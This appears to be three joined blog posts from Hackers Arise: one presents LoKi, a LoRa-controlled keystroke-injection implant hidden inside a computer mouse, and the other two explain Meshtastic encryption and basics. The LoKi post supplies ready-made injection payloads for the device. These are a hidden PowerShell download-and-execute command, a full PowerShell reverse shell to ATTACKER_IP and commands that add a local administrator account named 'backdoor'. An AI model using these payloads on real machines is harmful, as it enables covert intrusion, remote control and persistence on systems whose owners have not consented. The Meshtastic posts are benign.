Welcome back, cyberwarriors!

We’ve had different series on building your own BadUSB. Together we built a hacking drone and a WiFi Pineapple to test wireless devices. Aircorridor covered Meshtastic, secured his node and showed how it works in different conditions.

Today, we want to show you LoKi, which is a LoRa/Meshtastic based implant for red teaming. You can send commands to a LoKi device using long range (LoRa) radio signals and it runs whatever it was asked to, creating backdoors or setting up a reverse shell with a C2. You can get really creative here.

LoKi 

LoKi came out recently and was presented at DEF CON 34 in the Demo Labs. Essentially, it’s a BadUSB HID device that looks like a computer mouse and works just the same. There’s nothing suspicious about it and the victim won’t notice anything.

Here’s how its architecture looks. On the left you’ve got multiple Meshtastic devices forming a mesh network. One of them sends a command over LoRa radio to the implant. The LoRa module receives the message and converts it into USB HID keystrokes, like a RubberDucky. Those keystrokes then go into the USB hub.

The original mouse electronics (Mouse USB Header) are also connected to the same USB hub, but the USB cable that used to run straight from the mouse PCB to the computer gets cut. The LoRa implant and the original mouse are now wired through the USB hub instead. The red lines show this new path.

Hardware

For the LoRa module the developer picked the Heltec V3 Lite. He used the Heltec V3 with the OLED display for prototyping, but the V3 Lite draws less power and you can easily fit it into wired USB mice. The Heltec V3 also has an extra USB port that you can configure as any device class, but we need the HID device class for this attack. The onboard USB with the type C connection is a fixed CDC class for programming and debugging. You can’t change that.

For the USB hub he picked the Adafruit CH334F. It’s a tiny 2 port hub that’s a perfect fit for this project.

And here’s a photo of his early prototype.

Schematics

The Heltec V3 and V3 Lite devices have the additional USB port on different pins. The one below is for the Heltec V3 Lite.

Here the Heltec Wireless Stick Lite is connected to one port of the Adafruit CH334F USB hub using its secondary USB data lines (GPIO20 as D+ and GPIO19 as D-), along with 5V and ground. These pins are configured in firmware as a USB HID keyboard, so the board can inject keystrokes. The original mouse’s USB header is wired to the second port of the same hub using the standard color coded wires (red for 5V, green for D+, white for D-, and black for ground), so the mouse keeps functioning normally.

The host side of the hub is connected to the mouse’s original USB cable, which then plugs into the target computer. That way one USB connection carries both the genuine mouse and the hidden keyboard implant.

Firmware

The implant runs a modified version of the official Meshtastic firmware, which you can find here. It’s a fork of the Meshtastic code with custom additions for the implant. You can send the same style of commands used by the USB Rubber Ducky (STRING, DELAY, GUI, CTRL, ENTER, and so on). The firmware only works with direct messages addressed to the implant and ignores normal broadcast chat traffic, so ordinary Meshtastic messages can’t accidentally trigger keystrokes.

You can use PlatformIO to flash the firmware.

Payloads

The project doesn’t really include any payload, so you’ll need to come up with your own. Here are some payloads we made for you:

Download and execute a payload:

GUI r
DELAY 1000
STRING powershell -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://yourserver/payload.ps1')"
ENTER

Create a reverse shell:

GUI r
DELAY 1000
STRING powershell -nop -w hidden -c "$c=New-Object Net.Sockets.TCPClient('ATTACKER_IP',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb2=$sb+'PS '+(pwd).Path+'> ';$sb2b=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sb2b,0,$sb2b.Length)}"
ENTER

Add a local admin user:

GUI r
DELAY 800
STRING cmd
ENTER
DELAY 1000
STRING net user backdoor P@ssw0rd123 /add
ENTER
STRING net localgroup administrators backdoor /add
ENTER

There’s also a table we left for you to grasp the logic, if you’re not familiar with it.

Summary

Before LoKi we used to work with loops and control these rogue devices over WiFi. Now you can do it with a lot more range. A mouse is just an example, it can be swapped out for something else. The core idea of LoKi is that it’s a LoRa implant. It’d be great to see more creative ideas built around it.

If you enjoy experimenting with frequencies and trying new things, we have our SDR for Hackers training. Master OTW will show how to use your computer and inexpensive SDR hardware to hack a wide range of radio signals. It’s available for beginners and advanced students.

The post Persistence: Sending Keystrokes from Kilometers Away with LoKi first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Your messages travel through the mesh network, jumping from device to device, and might stay unencrypted. You need to understand how Meshtastic encryption works and how to set it up correctly, because a poorly configured mesh network can expose your communications to anyone with a compatible radio and basic technical knowledge.

In this article, we will explore the encryption options that Meshtastic provides for group communication and direct messages. Let’s get rolling!

Step #1: Setting Up Your Hardware with the Android Meshtastic App

In this demonstration, I will use the LilyGo T-Echo device and LilyGo T3 V1.6.1 (often labeled T-LoRa V2 1.6). However, you can use any other Metastatic-compatible device. Just make sure your device is running firmware version 2.5.0 or later to use the improved security features. When you connect the device to the Meshtastic app, the firmware version will be displayed.

Step #2: Configuring Pre-Shared Keys for Chat Channels

Chat Channels represent the primary method of group communication in Meshtastic networks. Each channel uses a Pre-Shared Key (PSK) that all participants must possess to participate in the conversation. The PSK serves as the encryption key (specifically AES256-CTR), while the channel is identified by a hash derived from both the PSK and the channel name. This means only devices with the correct PSK can decrypt messages sent on that channel, though it’s important to understand that the encrypted packets themselves are still broadcast over the radio and visible to anyone in range; they just can’t decrypt them without the PSK.

The default channel on a fresh Meshtastic installation (typically called “LongFast”) uses a well-known PSK (AQ==, which is simply a single null byte) that provides no real security whatsoever. Anyone with a Meshtastic device can receive and decrypt messages sent on the default channel, making it suitable only for public announcements or testing purposes. For any sensitive communications, you must configure custom channels with randomly generated PSKs that are shared only with trusted participants.

To create a secure channel, we need to open Settings and then the Channels section. At the bottom-right corner, you’ll see a plus sign, click on it, and you’ll see a screen like below.

Here, you need to specify a Channel name; in my case, it’ll be just “Secure”. Immediately after entering the name, the app will generate a random PSK automatically. That’s all, click Save.

You’ll be returned to the Channels settings, and click on Send. Now, the channel is ready, and the only thing we need to do is share this channel configuration with other participants who should have access. The easiest method is to generate a QR code that other users can scan with their Meshtastic apps to automatically configure the same channel settings, including the PSK.

To do so, change the tab to Conversations and click on the QR-Code icon; you’ll see a window like below.

Now, any messages you send on this channel will be encrypted with AES256 using that channel’s PSK, and only devices with the correct PSK will be able to decrypt and read them.

Remember: while your messages are encrypted, the radio transmissions are still broadcast publicly. Encryption prevents eavesdroppers from reading the content, but doesn’t hide the fact that communication is occurring.

Step #3: Public Key Cryptography for Direct Messages

Direct Messages in Meshtastic firmware version 2.5.0 and later utilize Public Key Cryptography (PKC) to provide authenticated and encrypted one-to-one communications between devices. Unlike channel communications, where all participants share the same password (PSK), Direct Messages use a more sophisticated system where each device has its own unique public and private key pair based on Curve25519 and Ed25519 cryptography.

When you send a Direct Message to another device, Meshtastic uses a hybrid encryption approach for efficiency:

1. A random AES session key is generated for that specific message
2. Your message is encrypted using that session key with AES
3. The session key itself is encrypted using Curve25519 key agreement with the recipient’s public key
4. The message is digitally signed using your Ed25519 private key

This ensures that only the recipient with the corresponding private key can decrypt the session key (and thus the message), providing confidentiality. The digital signature allows the recipient to verify that the message actually came from you and has not been tampered with in transit, providing authentication.

Important note: While the message content is encrypted, metadata such as sender ID, recipient ID, and timestamps remain visible to anyone monitoring the radio network. This is inherent to how mesh routing works.

The good news is that enabling Public Key Cryptography for Direct Messages requires almost no configuration on your part when using the Android app! In firmware version 2.5.0 and later, the device automatically generates its key pair when you first power it on with the updated firmware, and keys are automatically exchanged with other devices as needed through the mesh network.

Summary

In this article, we covered Pre-Shared Keys for securing group chat channels and Public Key Cryptography for protecting Direct Messages on your Meshtastic device. By implementing these encryption mechanisms, you can achieve decentralized communications where message content is protected from eavesdropping and tampering.

The post Off-Grid Communications, Part 4: How to Secure Meshtastic Communications first appeared on Hackers Arise.

Welcome back, my aspiring cyberwarriors!

In our eventful time, the ability to communicate off-grid has become more valuable than ever. In telecommunications, “off-grid” means communicating without relying on traditional infrastructure, such as cell towers or Wi-Fi networks. It’s about staying connected (or at least able to send/receive messages) in places where that infrastructure doesn’t exist or has failed.

Whether you’re preparing for emergencies or want a decentralized communication network that doesn’t rely on cellular towers or internet infrastructure, Meshtastic is a great solution to check out.

In this article, we will explore what Meshtastic is and what it has to offer.

What is Meshtastic?

Meshtastic is a project that lets you use inexpensive LoRa-based transceivers as a long-range communication platform in areas with no existing infrastructure or unreliable communication infrastructure. Its core technology, LoRa, is a long-range radio protocol that’s available in most regions without requiring additional licensing or certification. The radios automatically relay received messages, forming a distributed mesh network that allows every member of a group to receive messages – even from the most distant participant. Depending on the settings used, a Meshtastic mesh can support up to around 80 device nodes (though generally more may be possible).

Meshtastic radios can be paired with a single phone so that your friends and family can send messages to your specific radio. Each device supports a connection from only one user at a time.

Among its notable features are a long communication range (with a record of 331 km), the ability to communicate without a phone, decentralized communication with no need for a single router, encrypted messaging, excellent battery life (depending on the device, though power efficiency is built into the software), and additional GPS-based location features (which can be turned off, or set to send a fake location) and more.

Key Purposes and Use Cases

These communication systems serve a few main purposes. First, they’re great for outdoor activities. For example, people use them while hiking, camping, backpacking, or off-roading. That’s because they let a group stay in touch over long distances, even without cell towers nearby.

On top of that, these systems matter a lot during emergencies. For instance, they can keep people connected during natural disasters, power outages, or other times when cell networks go down. In fact, this makes them a reliable backup when normal communication fails.

Finally, these systems also play a key role in search and rescue efforts. In these situations, staying connected can make all the difference.

Additionally, they facilitate messaging in remote or restricted areas where connectivity is poor or internet access is limited. Community members and hobbyists use these systems to create local mesh networks for experimentation, conduct large-scale testing at events such as DEF CON, or establish backup communication systems for urban areas.

Ultimately, these universal communication systems enhance safety, build community connections, and ensure reliable communication in various challenging environments.

How Does Mashtastic Work?

Meshtastic operates on hardware such as ESP32-based boards (e.g., Heltec, LilyGO T-Beam) or pre-built nodes equipped with LoRa modules. These devices are programmed with Meshtastic firmware and function on unlicensed ISM radio bands, making them legal in most regions without the need for a ham radio license, although using higher power may require one in certain areas.

Communication Process

Sending a Message: First, connect a Meshtastic device (called a “node”) to your phone. You can do this over Bluetooth. To do this, you’ll need a companion app. These are available for Android, iOS, the web, and desktop. Next, type your message in the app. Then, it gets sent to your node.

Broadcasting: After that, the node broadcasts the message over LoRa radio. The message is encrypted first, for safety. It’s worth noting that LoRa only works well for small amounts of data. So, it’s good for short text messages. However, it can’t handle voice or video.

Meshing and Relaying: Meanwhile, nearby nodes pick up the packet. Each node checks if the packet is new. This step matters, because nodes keep track of packets they’ve already seen. That way, they avoid sending duplicates. If the packet is new, though, the node rebroadcasts it. But first, it lowers a number called the “hop limit” by one. This limit is usually set to about 3. It exists so messages don’t loop forever. As a result, the message hops from node to node. Eventually, it either reaches its target or runs out of hops.

Receiving: Finally, the destination node gets the packet. Then, it decrypts the message using AES256 encryption, along with a shared channel key. After that, it sends the message to the connected app or phone, so you can read it. On top of that, nodes can also share their location. This way, everyone in the group can see where each other are on a map.

Differences Between LTE, 5G, and Meshtastic

Many of us depend on LTE and 5G networks daily, so it’s important to compare them with Meshtastic.

Aspect	Meshtastic (LoRa Mesh)	LTE (4G)	5G
Technology	LoRa radio (915 MHz ISM band in US, license-free)	Cellular (various bands, e.g., 700–2600 MHz)	Cellular (sub-6 GHz + mmWave high bands)
Infrastructure	Decentralized mesh: User-deployed nodes relay messages	Centralized: Carrier-owned cell towers	Centralized: Dense cell towers + small cells
Coverage/Range	5–20+ km per hop (line-of-sight, terrain-dependent); extends via mesh	Nationwide/global where towers exist; indoor/outdoor	Similar to LTE but denser for high speeds; mmWave short-range
Data Speed	Very low: ~0.5–20 kbps (text-only, short messages)	5–100 Mbps typical (up to 300 Mbps peak)	100 Mbps–1+ Gbps typical (up to 10–20 Gbps theoretical)
Latency	Seconds to minutes (mesh hopping)	20–50 ms	1–10 ms (ultra-low for real-time apps)
Data Types	Text messages, GPS positions, basic telemetry	Voice, video, high-speed internet, apps	All LTE + AR/VR, IoT, autonomous vehicles
Power Consumption	Very low: Weeks/months on battery/solar	Moderate: Drains phone battery quickly	Higher (especially mmWave); improved efficiency in newer devices
Cost	Low one-time (devices + optional solar); no subscriptions	Monthly plan + device	Higher plans; premium for full speeds
Reliability in Outages	Excellent: Works off-grid, no single point of failure	Fails without power/towers (e.g., disasters)	Same as LTE; more vulnerable to congestion
Limitations	Text-only, slow, needs multiple nodes for range	Requires signal/subscription	Limited high-speed coverage; higher battery drain

These technologies serve different purposes: Meshtastic for resilient, infrastructure-independent communication in remote or emergency scenarios, versus LTE/5G for high-speed, everyday mobile internet and voice.

Summary

Meshtastic is a free and user-friendly tool that allows you to send messages without relying on the internet or mobile networks. It connects small, specialized devices to form a network, allowing communication over long distances. This makes it great for outdoor adventures, emergencies, or communication in remote areas.

Stay tuned as we continue to explore off-grid communication in future articles.

The post Off-Grid Communications, Part 1: Break Free from the Grid with Meshtastic first appeared on Hackers Arise.